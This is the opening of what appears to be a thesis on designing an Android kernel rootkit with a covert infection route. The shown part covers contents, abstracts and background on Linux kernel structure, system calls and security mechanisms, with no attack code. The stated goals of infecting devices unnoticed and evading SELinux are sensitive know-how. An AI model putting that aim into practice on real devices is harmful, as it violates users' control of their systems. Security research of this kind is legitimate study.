  • 4. Contents Declaration iii Kurzfassung vii Abstract viii 1 Introduction 1 1.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.2 Challenges . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.3 Goals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.4 Outline . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 Linux Kernel 3 2.1 Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.1.1 Kernel Space versus User Space . . . . . . . . . . . . . 4 2.1.2 Kernel Architectures . . . . . . . . . . . . . . . . . . . 7 2.1.3 Subsystems . . . . . . . . . . . . . . . . . . . . . . . . 7 2.1.4 Supported Architectures . . . . . . . . . . . . . . . . . 10 2.2 Kernel Security . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.2.1 Discretionary Access Control . . . . . . . . . . . . . . 11 2.2.2 Network Access Control . . . . . . . . . . . . . . . . . 12 2.2.3 Memory Protection . . . . . . . . . . . . . . . . . . . . 13 2.2.4 Linux Security Modules . . . . . . . . . . . . . . . . . 17 2.2.5 Kernel Capabilities . . . . . . . . . . . . . . . . . . . . 20 2.3 Loadable Kernel Modules . . . . . . . . . . . . . . . . . . . . 20 2.3.1 Structure . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.3.2 Building . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.3.3 Managing . . . . . . . . . . . . . . . . . . . . . . . . . 23 2.4 Kernel Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . 25 2.4.1 Kernel Modification Techniques . . . . . . . . . . . . . 26 2.4.2 Defense . . . . . . . . . . . . . . . . . . . . . . . . . . 29 2.5 Additional Concepts . . . . . . . . . . . . . . . . . . . . . . . 30 2.5.1 Process . . . . . . . . . . . . . . . . . . . . . . . . . . 30 2.5.2 Filesystems . . . . . . . . . . . . . . . . . . . . . . . . 30 iv
  • 5. Contents v 2.5.3 Types . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 2.5.4 Networking . . . . . . . . . . . . . . . . . . . . . . . . 32 2.6 Futex Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 3 Android Characteristics 34 3.1 Android Open Source Project . . . . . . . . . . . . . . . . . . 35 3.2 Bionic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 3.3 Virtual Machines . . . . . . . . . . . . . . . . . . . . . . . . . 35 3.3.1 Dalvik Virtual Machine . . . . . . . . . . . . . . . . . 36 3.3.2 Android Runtime . . . . . . . . . . . . . . . . . . . . . 36 3.4 Unique Android Kernel Features . . . . . . . . . . . . . . . . 37 3.4.1 Android Shared Memory . . . . . . . . . . . . . . . . . 37 3.4.2 Binder . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 3.4.3 Process Memory Allocator . . . . . . . . . . . . . . . . 38 3.4.4 Logger . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 3.4.5 Wakelocks . . . . . . . . . . . . . . . . . . . . . . . . . 40 3.4.6 Out of Memory Handling . . . . . . . . . . . . . . . . 40 3.4.7 Alarm Timers . . . . . . . . . . . . . . . . . . . . . . . 40 3.4.8 Paranoid Networking . . . . . . . . . . . . . . . . . . . 41 3.4.9 Timed Output . . . . . . . . . . . . . . . . . . . . . . 41 3.4.10 RAM Console . . . . . . . . . . . . . . . . . . . . . . . 42 3.4.11 Other Changes . . . . . . . . . . . . . . . . . . . . . . 42 4 Related Work 43 4.1 SuckIt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 4.1.1 Features . . . . . . . . . . . . . . . . . . . . . . . . . . 44 4.1.2 Difficulties . . . . . . . . . . . . . . . . . . . . . . . . . 44 4.2 Suterusu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 4.2.1 Features . . . . . . . . . . . . . . . . . . . . . . . . . . 46 4.2.2 Difficulties . . . . . . . . . . . . . . . . . . . . . . . . . 47 4.3 Android Rootkit . . . . . . . . . . . . . . . . . . . . . . . . . 48 4.3.1 Obtaining System Call Table . . . . . . . . . . . . . . 48 4.3.2 Calculating System Call Table Size . . . . . . . . . . . 50 4.4 Android Modem Interception . . . . . . . . . . . . . . . . . . 51 5 Implementation 52 5.1 Concept . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 5.1.1 System Architecture . . . . . . . . . . . . . . . . . . . 52 5.1.2 Kernel Rootkit . . . . . . . . . . . . . . . . . . . . . . 54 5.1.3 Root Exploit Tool . . . . . . . . . . . . . . . . . . . . 55 5.1.4 Infection via an APK . . . . . . . . . . . . . . . . . . 56 5.2 General Requirements . . . . . . . . . . . . . . . . . . . . . . 56 5.3 Building a Kernel . . . . . . . . . . . . . . . . . . . . . . . . . 57 5.3.1 Obtaining Sources . . . . . . . . . . . . . . . . . . . . 57
  • 6. Contents vi 5.3.2 Compiling . . . . . . . . . . . . . . . . . . . . . . . . . 57 5.3.3 Packaging . . . . . . . . . . . . . . . . . . . . . . . . . 59 5.3.4 Execution . . . . . . . . . . . . . . . . . . . . . . . . . 59 5.4 Kernel Rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . 61 5.4.1 Building . . . . . . . . . . . . . . . . . . . . . . . . . . 61 5.4.2 Core Features . . . . . . . . . . . . . . . . . . . . . . . 62 5.5 Exploit Binary . . . . . . . . . . . . . . . . . . . . . . . . . . 68 5.5.1 Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 5.5.2 Add Payload . . . . . . . . . . . . . . . . . . . . . . . 70 5.6 Infection APK . . . . . . . . . . . . . . . . . . . . . . . . . . 71 5.7 Infection Process . . . . . . . . . . . . . . . . . . . . . . . . . 72 5.8 Experienced Problems . . . . . . . . . . . . . . . . . . . . . . 72 5.8.1 Pack Kernel Image . . . . . . . . . . . . . . . . . . . . 73 5.8.2 Find Right Commit . . . . . . . . . . . . . . . . . . . 73 5.8.3 Disable SELinux from Kernel . . . . . . . . . . . . . . 73 5.8.4 Communication Device File Permissions . . . . . . . . 74 5.8.5 Modify Ramdisk . . . . . . . . . . . . . . . . . . . . . 74 6 Evaluation 75 6.1 Practical Use . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 6.2 Defense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 6.3 Problems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 6.3.1 Root Permissions . . . . . . . . . . . . . . . . . . . . . 77 6.3.2 Android Fragmentation . . . . . . . . . . . . . . . . . 77 6.3.3 Special Security Features . . . . . . . . . . . . . . . . 78 6.3.4 Licensing Issues . . . . . . . . . . . . . . . . . . . . . . 78 6.4 Future Work . . . . . . . . . . . . . . . . . . . . . . . . . . . 78 6.4.1 Patch Boot Image On-The-Fly . . . . . . . . . . . . . 79 6.4.2 Build on Demand . . . . . . . . . . . . . . . . . . . . . 79 6.4.3 Modify Buildstring . . . . . . . . . . . . . . . . . . . . 79 6.4.4 Dynamic IPs / DNS . . . . . . . . . . . . . . . . . . . 79 6.4.5 Dynamic System Call Table Allocation . . . . . . . . . 80 6.4.6 Intercept GSM Communication . . . . . . . . . . . . . 80 6.4.7 Change Root Exploit . . . . . . . . . . . . . . . . . . . 80 6.4.8 Infect via /dev/kmem . . . . . . . . . . . . . . . . . . 81 6.4.9 Anonymize Reverse Shell . . . . . . . . . . . . . . . . 81 6.4.10 Hide Files in Different Folders . . . . . . . . . . . . . . 81 6.4.11 Hijack other Apps . . . . . . . . . . . . . . . . . . . . 81 7 Conclusion 82 A DVD Content 83 References 90
  • 7. Kurzfassung In dieser Arbeit werden wir ein Android Kernel Rootkit und den dazu- gehörenden Infektionsweg konzipieren und implementieren. Bevor es dazu kommt beschäftigen wir uns mit den Grundlagen des Linux Kernels, wie zum Beispiel den enthaltenen Sicherheitskonzepten, um abschätzen zu kön- nen wie ein Kernel Rootkit aufgebaut sein muss und welche Hindernisse uns erwarten. Des Weiteren nehmen wir bereits bestehende Linux- und Android Kernel Rootkits und Projekte zu diesem Thema unter die Lupe um einen Eindruck zu erlangen welche Lösungen zu diesem Problem bereits existieren. Basierend auf den Erkenntnissen aus den Grundladen des Linux Kernel und der näheren Begutachtungen ähnlicher Schadsoftware werden wir ein Konzept für ein funktionierendes Android Kernel Rootkit und den dazu- gehörigen Infektionsweg erstellen und im Anschluss daran umsetzen. Das Hauptaugenmerk bei der Infektion liegt dabei, dass diese für den Benut- zer möglichst unauffällig erfolgt. Des Weiteren sehen wir uns Ausschnitte des finalen Quellcodes der Schadsoftware im Detail an und erörtern wie die Kernfunktionalitäten implementiert wurden. Am Ende dieser Arbeit fassen wir das gewonnene Wissen zusammen und geben einen Ausblick auf zukünftige Arbeiten in diese Richtung. vii
  • 8. Abstract In this thesis we will design an Android kernel rootkit and a way of infection from the scratch. Before the actual implementation process starts, we will take a look at how the Linux kernel in general works to find out which security features we have to take care of and where we could tweak the kernel internals in the implementation process in order to gain rootkit behaviour. In this work we will also take a closer look at similar kernel rootkits to understand how other developers implemented the malicious features. The core part is the design and implementation process of the rootkit and the way of infection. Based on the gained knowledge of the kernel basics and the dissection of similar malware we will design an Android kernel rootkit from the scratch. We will also take a look at how a device could be infected without the user knowing and how the rootkit can survive on an Android device. In this thesis we will also take a look at the actual source code in order to explain how we actually managed to implement the desired behaviour. At the end of this work we will conclude the gained knowledge and discuss ideas for future work gathered while working on this topic. viii
  • 9. Chapter 1 Introduction 1.1 Motivation By now there are billions of active Android based devices in many different versions and with custom modifications [22]. But all are based on the same heart - the Linux kernel. With access to the kernel we have full control over the device. In this thesis we will look into what exactly a Linux kernel is, how the kernel, which is used in Android based devices, differs from that and what we can actually do by implementing a Linux kernel module for an Android based device and what limitations and difficulties there are. 1.2 Challenges While Android applications are usually developed in Java and executed in the dalvik virtual machine (DVM), the system beneath that is developed in plain C. In addition to that we are developing in kernel space, which means, beside the fact that all the libraries change, we have to be very careful. A single pointer to the wrong piece of memory could be enough to crash the kernel or even corrupt the file system. There is nothing which protects us from damaging the system. 1.3 Goals What we want is a running Linux kernel module on an Android device. To achieve that we maybe need to compile our own kernel for the particular testing device and get it running. Once we have a running kernel with the first hello world module we can take a deeper look into kernel space develop. For example purposes we will show up how to implement a simple Linux kernel rootkit. 1
  • 10. 1. Introduction 2 1.4 Outline At first we will take a look at the Linux kernel, how everything works, what security mechanisms there are and what we need to know to build our own Linux kernel module with simple rootkit functions. Then we continue to a chapter where we will take a closer look at the differences between the basic general Linux kernel and the kernel shipped with every Android device. Since the Linux kernel source is published under the GNU General Public License (GPL) license we also take a look where to get the Android kernel source code from. To get a basic idea how a kernel rootkit works we take a look at some other popular rootkits, what functions they offer and most importantly how exactly they manage to do what they are doing, since kernel space programming can be very tricky. Then we will continue to build our own kernel module and expand it with the newly gained knowledge of how to actually implement a Linux kernel rootkit. At the end we sum it all up and draw a conclusion about what we have learned and what is open for improvements.
  • 11. Chapter 2 Linux Kernel When we hear Linux some of us will think of a whole operating system, but in fact it’s only the same kernel that all of them share - the Linux kernel. Developed by Linus Torvalds in 1991, as a little private project without expecting to gain big attention, he created a lightweight POSIX like system which targeted the Intel 80386 microprocessor with an x86_64 architecture [59]. It happened to be a huge success as we know today. By now 486 of the Top 500 fastest super computers worldwide are running a Linux based system, mostly because it’s open source, which means that it can be easily adapted to the special needs of those machines [88]. As we know Android uses also an adapted Linux kernel for its operating system, which had a market share of 82.8% in 2015 [47]. On the server side there is a likelihood of 53.4% to communicate with a Linux server on the World Wide Web [88]. Due to its versatility operating systems based on the Linux kernel also had a 56.2% market share in embedded devices like TVs or routers [18]. The trend is also likely to continue due to the growing market for the Internet of Things, which is basically a bunch of small, energy saving embedded devices, a perfect environment for the Linux kernel. A few reasons why Linux is so successful are: GPL licensed the kernel source code is. [sic] This license allows free of charge use for private and commercial projects. But we have to con- sider that the source code has to be republished under GPL if the kernel source code was modified not for internal use only [33]. Fast updates are provided by the big community. If problems occur or ma- jor security risks are published, community patches are often available only a few hours later and added to the kernel source tree soon. Small and efficient design is a key aspect of the kernel. It is possible to fit the whole kernel image on an floppy disk (1.44MB) if needed [59]. Paid developers sponsored by big companies such as Google or Intel con- tribute over 85% of all commits to the Linux kernel source code [26]. 3
  • 12. 2. Linux Kernel 4 Compatability is a big deal in Linux. At the beginning the kernel was only compatible to the i386 architecture, but nowadays it runs on a variety of architectures. Among them are x86_64, ARM, mips, and powerpc [56]. It can also directly mount filesystems used in other operating system like MS-DOS, Windows, OS X, OS/2, Solaris and many more [59]. 2.1 Structure So what actually is a kernel and what are its tasks to accomplish? If we take a look at the architecture of a modern operating system, the kernel is always the core which provides the basic functionalities with the highest privileges such as the low level hardware communication, process management, mem- ory management, file system access and the networking stack. 2.1.1 Kernel Space versus User Space An operating system always consists of a so called privileged and an unpriv- ileged space (or mode) - in Linux it’s the user and kernel space (see figure 2.1). This is needed to protect the system and security critical features as the memory management or the networking stack. In kernel mode there aren’t any access restrictions present, which means once a kernel module (see sec- tion 2.3) is loaded, it can modify the whole system. This is not required for most processes running on an computer, but the kernel needs these rights to manage the system resources and distribute them to all currently running user mode processes. Applications C Library System Call Interface Kernel Hardware User Space Kernel Space { { Figure 2.1: High-level Overview of the Structure of the Linux kernel.
  • 13. 2. Linux Kernel 5 As mentioned before, all system relevant operations like memory or process management happen in kernel space. Also the low level device drivers are located there to provide an interface to user space to be used by applications. The only mechanism for controlled communication between these two modes is the system call interface (SCI), which provides certain low level kernel functionalities to user space applications [63]. System Call A system call in Linux is used when a user space program wants to call a kernel provided functionality in a controlled way. Such an action is every- thing hardware related like hard disk I/O or video card access. Also new processes can only be created with a special system call. A modern Linux kernel has about 300 different system calls. There are a few very similar calls due to downward compatibility reasons. Once a specific system call is implemented in a stable version it is unlikely to be removed again later, because user space programs, which used this particular system call earlier, could crash if there is no valid return value. On the technical side a system call in Linux on x86_64 is initiated by a software interrupt. This causes the system to switch from user into kernel mode and read the EAX register which contains the requested system call number. If there are any function parameters they are provided through the EBX to EDX, ESI and EDI registers. The kernel executes the requested call and sends the return value (errors are special values too) back to the calling function in user space. In table 2.1 we can see a list of well knows functions implemented as system calls. We can see which parameters are required in the registers for the system call to be executed successfully after issuing the software interrupt. Name EAX EBX ECX EDX ESI EBI sys_chdir 12 char* path - - - - sys_chmod 15 char* path mode_t perm - - - sys_getpid 20 - - - - - sys_mkdir 39 char* path - - - - Table 2.1: Example System Calls for x86_64 (see: syscalls.h and syscall_64.tbl) The collection of all system calls is called system call table (SCT), which is represented by a list of pointers in the system memory. Each one points to the specific function which is responsible for the particular action. Access to this table of pointers is very important for a kernel rootkit, to hook kernel functions in order to infect the system. This is why the SCT kernel symbol
  • 14. 2. Linux Kernel 6 was only exported until kernel version 2.4. Now it’s much harder to find and modify this table, because it’s located in the read only section of the memory (see section 2.4 for in depth information). For example lets take a look at the sys_getpid system call. This system call returns the process identifier (PID) of the calling process. As we see in table 2.1 we only need to push the system call number (20) to the EAX register and then execute the software interrupt 0x80 (on x86_64 systems) as we can also see in figure 2.2. The system then fetches the pointer of the SCT at position 20 and calls it with the passed arguments stored in the registers. We can see the internal implementation of sys_getpid in listing 2.1. Listing 2.1: System Call Implementation 1 asmlinkage long sys_getpid(void) 2 { 3 return current->tgid; 4 } This very simple system call only returns the thread group identifier (TGID), which is in almost all cases identical to the PID [51]. User Application C Library Kernel System Call get_pid() Return Return system_call_table[EAX]() EAX = _NR_GET_PID Transition to Kernel Space 0x80 User Space Kernel Space Transition to User Space Figure 2.2: sys_getpid Call Trace [51]
  • 15. 2. Linux Kernel 7 2.1.2 Kernel Architectures There are two main types into which every kernel can be categorized. There are monolithic and micro kernels. Micro kernels are, as the name implies, very minimalistic kernels, which only include the most fundamental features such as process and low level memory management in kernel space. Other functionalities like the networking stack are, if needed anyway, implemented as an user space process. This has the advantage of a very small modu- lar kernel but is sometimes slower then a monolithic kernel image due to communication overhead [28]. On the other hand in a monolithic kernel all needed core features run in kernel mode and are bundled into a single kernel image binary, like the Linux kernel does. Due to the optimizations provided at compile time a speed boost is possible here. To compete with the micro kernels flexibility, the Linux kernel also knows the concept of loadable ker- nel modules (LKMs), which we will discuss later in section 2.3. A LKM is a compiled binary specially built for each kernel to work with, which can be loaded and unloaded into the kernel at runtime. It provides miscellaneous functions like a device driver or - to sneak a bit on the dark side - a kernel rootkit. 2.1.3 Subsystems Now that we have understood the SCI we can take a look at the underlying subsystems in the Linux kernel. As we can see in figure 2.3 there are a few more core components that are essential for the kernels to fulfil its tasks. Process Management (PM) Virtual File System (VFS) Memory Management (MM) Network Stack Arch Device Drivers (DD) System Call Interface (SCI) Figure 2.3: Basic Kernel Architecture [50].
  • 16. 2. Linux Kernel 8 Arch The kernel also delivers some platform-dependent code which is need- ed for the kernel to communicate on the assembly level with the un- derlying hardware. A detailed overview of the supported hardware ar- chitectures will be give in section 2.1.4. For each processor type which is supported by the kernel there is a specific subdirectory in the Linux kernel source code which targets its specific hardware features. That’s the only part of the kernel code which is platform-dependent [50]. Device Drivers: The majority of the over 19 millions line of code the Linux kernel consists of is provided by device drivers, which are responsible for the communication with all the connected hardware [26]. Exam- ples for device drivers which support special hardware are the USB or Bluetooth driver, which are usually taken for granted but in fact need special kernel implementation. Memory Management: Probably the most important part of the kernel is the memory management. It takes care of the separated kernel and user space memory as well as the assignment of new memory areas to processes or various buffers. It is also responsible for the abstraction of the physical memory to pages (on most architectures 4kB in size) also further higher level constructs are being tracked by the slab allocator. When a system is about to run out of memory this system has to decide which memory allocations to prioritize, which memory to swap out to the hard disk and, if everything fails, which process to terminate [42, 50]. Network Stack: The networking stack is needed to manage connections between endpoints. It follows the strict layer design of the OSI model, which separates for example the physical layer from the data link layer (Ethernet) the network layer (Internet Protocol) and the transport layer (mostly TCP or UDP). To user space the network stack is acces- sible though the SCI [50]. Process Management: This part takes care of the execution of processes. In kernel space they are called threads and in user space they are com- monly called processes. But in fact they are technically almost identical in the Linux kernel. From user space, processes can be managed using the SCI, which provides all needed functions. Important system calls are [45]: fork is used to spawn a new process. It creates a child process for the current process. The root of all processes has the PID 1 which is started at system boot [91]. exec executes a program. kill sends the passed signal to a process. exit terminates the current process.
  • 17. 2. Linux Kernel 9 Scheduler: Since Linux is a multitasking system it can handle multiple processes at the same time. Technically only as many processes as (virtual) CPU cores can be executed simultaneously, so there has to be a sub system that takes care of this and splits the processing time in an as fairly as possible way to all processes. This system is called scheduling system, which is an important part of the process manage- ment subsystem. From user space it looks like every process is running simultaneously, but in fact the scheduler assigns a little processing time slice to every process every once and awhile. There are different ways, so called governors (see table 2.2), to determine which process to assign how much processing time. Governor Description performance CPU frequency set to maximum powersave CPU frequency set to minimum userspace Manually controlled from user space ondemand Sets the CPU frequency depending on the CPU load conservative Much like ondemand, but smaller frequency steps Table 2.2: Governors in the Linux Kernel [17] Virtual File System (VFS): To create and common API for all kinds of file systems the Linux kernel implements a virtual file system to provide abstract functions like open(), read() and write() [15, 50]. This abstraction API is again accessible via the SCI from user space as we can see in listing 2.4. write() sys_write() filesystem write function User Space VFS Filesystem Physical Media Figure 2.4: Example Function Call Trace [15] We will take a closer look at the virtual file system (VFS) and file systems in section 2.5.2.
  • 18. 2. Linux Kernel 10 2.1.4 Supported Architectures It is NOT protable [sic] (uses 386 task switching etc), and it probably never will support anything other than AT-harddisks, as that’s all I have :-(. —Linus Torvalds, August 25, 1991 Initially Linus Torvalds developed the Linux kernel as a private project for the i386 architecture. The project gained much attention and soon others started developing an unofficial port of the kernel code to the Amiga, which uses a Motorola 68000 architecture. They replaced a huge amount of im- portant kernel code in order to run on the different architecture, which he couldn’t keep track of in the main source tree [28, 57]. In order to get rid of this problem and make it easier to add support for new hardware architectures Linus applied huge changes to the kernel code. From there on everybody could rather easily port the Linux kernel to a new architecture, which was soon accomplished with the first official kernel port to the DEC Alpha AXP platform [28]. The most used ports nowadays are shown in table 2.3. Name Word Size [bit] Designed by Misc i386 32 Intel - x86_64 32, 64 Intel Standard for PCs ARM 32, 64 ARM Holding Standard for smartphones and tablets mips 32, 64 MIPS Tech. Embedded systems, Sony Pl- aystation, PlayStation 2 and PlayStation Portable powerpc 32, 64 Apple IBM Motorola Apple PCs between 1994 and 2006, game console, embed- ded applications Table 2.3: Supported Architectures [15, 56] But there is also support for a great number of other niche platforms as we can see in table 2.4 [56].
  • 19. 2. Linux Kernel 11 Name Word Size [bit] Designed by Misc avr32 32 Atmel - blackfin 16, 32 Analog Devices - cris 32 Axis - frv 32 Fujitsu Designed for parallel pro- cessing h8300 8, 16, 32 Renesas Tech. - m32r 32 Mitsubishi Mostly used in engine con- trol units m68k 32 Motorola - s390 32 IBM - sh 32 Hitachi - sh64 64 Hitachi - sparc 32 Oracle - sparc64 64 Oracle - v850 32 NEC - xtensa 32 Tensilica Designed for digital signal processing Table 2.4: Supported Architectures [15, 56] 2.2 Kernel Security By now we have discussed, that user and kernel space are separated for architectural and security reasons, but we haven’t encountered any other security mechanism. We now take a brief look at some security concepts which are used in the Linux kernel. 2.2.1 Discretionary Access Control One of the oldest security concepts in the Linux kernel is the discretionary access control (DAC), which is basically inherited from the old UNIX kernel it originates from. The basic concept is, only the owner of an object (e.g. file or directory) can manage its access. For example if we create a new file in the home directory, we can decide who can read and write to our new file. This is a simple form of access control lists (ACLs) which are further explained in section 2.2.1. Only the root user (superuser) is always allowed to violate these access controls [64]. Technically this security policy is implemented as permission bits added to the files inode on the file system, which can only be set by the owner of the file or the superuser [65].
  • 20. 2. Linux Kernel 12 This mechanism doesn’t protect against buggy software or misconfigura- tions, also the root user is a permanent security risk. Some data flows such as network packets are not directly covered by this access control so there are also a few more security mechanisms [65]. Access Control Lists The portable operating system interface (POSIX) interface between the op- erating system and the user application and defines how each compliant application reacts on which case [85]. The Linux kernel complies to this standard, so it distinguishes between three different access types [55]: (r) read allows to read a file (w) write allows to write to a file (x) execute allows to execute a file Each file system object is also associated with a user identifier (UID), group identifier (GID) and the three sets of the previously mentioned access types for the file owner, a group member and everybody else [55]. When a process requests access to a file system object (see figure 2.5) it is classified to one of these three groups. Then it is checked which permissions are granted each groups and whether the requesting process is allowed to execute its action. Owner Group Other rwx rwx rwx File Class File Permission Bits Figure 2.5: The POSIX.1 File Permission Model [55]. 2.2.2 Network Access Control Since Linux has a well implemented network stack which features a variety of protocols and the previously mentioned DAC and ACL only manage file system access, there are also dedicated networking stack security features.
  • 21. 2. Linux Kernel 13 Netfilter Netfilter is a framework on the network layer (Internet Protocol) which hooks every packet that passes through the networking stack [65]. It provides an API for LKMs, which lets them decide if a packet should be dropped or passed to the next layer in the networking stack. One famous example for the kernel modules (see section 2.3) is iptables. This module implements an IPv4 firewall where the corresponding user space program iptables manages a set of user defined rules, which every packet has to pass to be forwarded to the next layer of the networking stack [64, 65]. There are also modules available to filter on the link layer (ebtables) or ARP packets (arptables). The network stack also supports the secure implementation of the Internet Protocol IPsec. 2.2.3 Memory Protection All the memory protection mechanisms have basically only one goal: Make it as hard as possible for malware to take advantage of a buffer overflow. But in order to understand what we can do to improve the systems security, we need to understand what actually happens when a buffer overflow is utilized. Memory Layout In figure 2.6 we can see the memory layout of an user space process on a x86_64 architecture. It is divided into several parts. kernel virtual memory: This is the dedicated region for the kernel ad- dress space, it contains the kernel code and the whole stack and heap (kmalloc(), kfree()) user space process stack: Contains the return address to jump to, the local function variables and the function arguments. user space process heap: Contains the processes memory allocated dur- ing runtime (malloc()). DATA segment: Contains pre-initialized global and static variables as well as constants. BSS segment: Contains uninitialized global and static variables filled with zeros by default. CODE segment: Contains the binary image of the process. esp: Stack-Pointer - Points to the lower boundary of the stack. brk: Break-Pointer - Points to the upper boundary of the heap.
  • 22. 2. Linux Kernel 14 Kernel Virtual Memory User Space Process Stack User Space Process Heap (malloc) DATA & BSS segment (read- and writable) CODE segment (read-only) 0x00000000 brk pointer esp pointer 0xc0000000 0xffffffff Invisible to user space code. Directly loaded from the executable program file. { { Figure 2.6: Process Memory Layout [80] Buffer Overflow Now that we know how the basic memory layout of a process looks like we can go further. When a process is launched the stack is prepared for it with the function arguments and the return address as we can see in figure 2.7. Parent Process Stack Return Address char* buffer; Local Variables ESP 0xc0000000 EBP Function Parameters Old EBP Figure 2.7: Stack Variables
  • 23. 2. Linux Kernel 15 If an attacker finds an unchecked buffer it is possible for him to write to memory regions beyond the buffers borders. He will first overwrite all local variables and finally reach the return address of the function. There he can insert any address of prepared malicious code to compromise the system. Now lets take a look at a few techniques which won’t completely suppress this behavior, but make the attackers life much harder. Address Space Layout Randomization The idea here is to randomize all memory regions of a process to make it more difficult to use a buffer overflow to execute exploit code [62, 69, 80]. This is achieved by moving all process memory regions like DATA, BSS or HEAP at a random or at least for the intruder hard-to-guess memory offset [62]. The offset is stored in a dedicated CPU register, but in a 32-bit address space only a few bits can be used for randomization, which makes it vulnerable to probabilistic attacks [9]. So this a rather simple but very effective method of improving security on a Linux system, but there is no advantage without a disadvantage. In order to work on a full ASLR enabled system every executable binary file and every referenced library has to be compiled as position independent executable (GCC: -fpie and -fpic option) [62, 69, 80]. If ASLR is enabled in the kernel and which enforcement level is currently set can be determined by reading the corresponding /proc (see section 2.5.3) file as we can see in listing 2.2. Listing 2.2: Determine ASLR Status 1 cat /proc/sys/kernel/randomize_va_space Possible values are: 0 ASLR is disabled. The kernel was booted with the norandmaps pa- rameter [67]. 1 ASLR is partially enabled. Randomizes the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory re- gions. The base address of the data segment is located immediately after the end of the executable code segment [67]. 2 ASLR is fully enabled. Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting [67].
  • 24. 2. Linux Kernel 16 Position Independent Executable Applications which are compiled PIE compliant can be loaded at a random address on start-up. Unfortunately usually only a small set of binaries used in the operating system are compiled with the PIE option, because there is a 5-10% performance penalty [69]. Android is the first Linux system which dropped the support for non-PIE binaries in 2015 with version 5 [53]. Traditionally compilers produce position dependent code which refers to actual memory addresses, but PIE executables use the fact, that modern system run processes in their own virtual address space and therefore lets the memory management unit take care of the offsets [80]. No Execute Bit The NX-Bit is also known as executable space protection (ESP) in Linux or data execution prevention (DEP) in Windows [86]. The idea is that memory areas can be marked as non-executable. These memory regions are defined in the ELF header of the loaded executable. If there are any violations the system terminates the process. This is also an effective way to prevent the execution of code which was injected by a buffer overflow [70, 80]. W⊕X This concept is similar to NX (see section 2.2.3) and in order to work also requires NX. The idea is to mark a memory page either as writeable (x)or executable, but never both at once. It works like an XOR (that’s why it’s called W⊕X or W^X) [69, 80].
  • 25. 2. Linux Kernel 17 2.2.4 Linux Security Modules This project provides a general purpose access control framework in kernel space, where specially designed kernel modules (see section 2.3) are used to enforce security policies [78, 90]. DACs is useful for managing files and resources between users, but don’t protect the system from possible attacks [90]. The framework allows different access control models to be implemented as Linux kernel modules which we will take a look at later. To demonstrate how this all works take a look at figure 2.8. User Level Process System Call Open Lookup inode Error Checks DAC LSM Hook Complete Request inode Examine Context Does request pass policy?Yes or No User Space Kernel Space Figure 2.8: LSM Hook Architecture [90] When user space processes ask for access to a resource it has to be done through the SCI (see section 2.1.1). All requests first pass the kernels exist- ing security logic, which even includes the standard DAC. It is then passed to the linux security modules (LSM) framework which can decide whether to allow or disallow the access through its security policies [90]. Well known implementations for LSMs are Security-Enhanced Linux (SELinux), simpli- fied mandatory access control kernel (SMACK), TOMOYO and AppArmor. Now lets take a closer look at the best-known of these implementations, which is also used in Android.
  • 26. 2. Linux Kernel 18 SELinux Was originally developed by the National Security Agency (NSA) and start- ed a kernel security design discussion which led to the LSM concept. The framework is implemented as a LSM and strictly separates between the policy enforcement and the decision-making code [78, 90]. The idea is to give a program the least privileges it needs to run, but nothing more, which is in general called mandatory access control (MAC). Another key aspect of SELinux is the role based access control (RBAC). The system defines roles for different permission levels similar to MAC groups, but one role can represent multiple users [49]. SELinux consists of four central components [80]: Object Manager: The object manager decides which actions to allow or disallow based on the security rules obtained by the AVC. Access Vector Cache (AVC): Here all previous decisions are cached to improve the systems performance. Security Server: If the decision isn’t found in the AVC, the security server is invoked to look for a matching decision in the binary policy file (see figure 2.9) [49]. Security Policy: The rules are compiled into the security policy binary file. Object Manager Subject (process) Object (file, dir, etc.) Security Server Security Policy Access Vector Cache (AVC) Linux Kernel Figure 2.9: SELinux Components [31]
  • 27. 2. Linux Kernel 19 A security context (or label) is a string which consists of four parts delimited with colons. Username: Is similar to a user name or group of the MAC system [31]. Role: Users can be associated with one or more roles in order to adapt the RBAC [31]. Type: This is used to group processes in logical groups [31]. MLS security range: Can be used to classify into multiple levels of access. As we can see in listing 2.3 and 2.4 the security contexts of files or processes can be displayed by adding the -Z option to commands ls or ps. Listing 2.3: Security Context of Files 1 root@hammerhead:/ # ls -Z 2 drwxr-xr-x root root u:object_r:device:s0 dev 3 dr-xr-xr-x root root u:object_r:proc:s0 proc 4 -rw-r--r-- root root u:object_r:rootfs:s0 service_contexts 5 drwxr-xr-x root root u:object_r:storage_file:s0 storage 6 dr-xr-xr-x root root u:object_r:sysfs:s0 sys Listing 2.4: Security Context of Processes 1 root@hammerhead:/ # ps -Z 2 LABEL USER PID PPID NAME 3 u:r:init:s0 root 1 0 /init 4 u:r:kernel:s0 root 2 0 kthreadd 5 u:r:ueventd:s0 root 131 1 /sbin/ueventd 6 u:r:logd:s0 logd 148 1 /system/bin/logd 7 u:r:vold:s0 root 154 1 /system/bin/vold SMACK The SMACK module was developed as an easier to use version of SELinux which also includes a simple form of MAC and security labels. It is currently used in the Tizen ecosystem [65]. TOMOYO This approach also uses a MAC system but is path-based instead of security label based. Also this system learns about valid trees of process invocation and find out which actions are likely to be valid or invalid. By now this system hasn’t been adopted in any larger distribution [65].
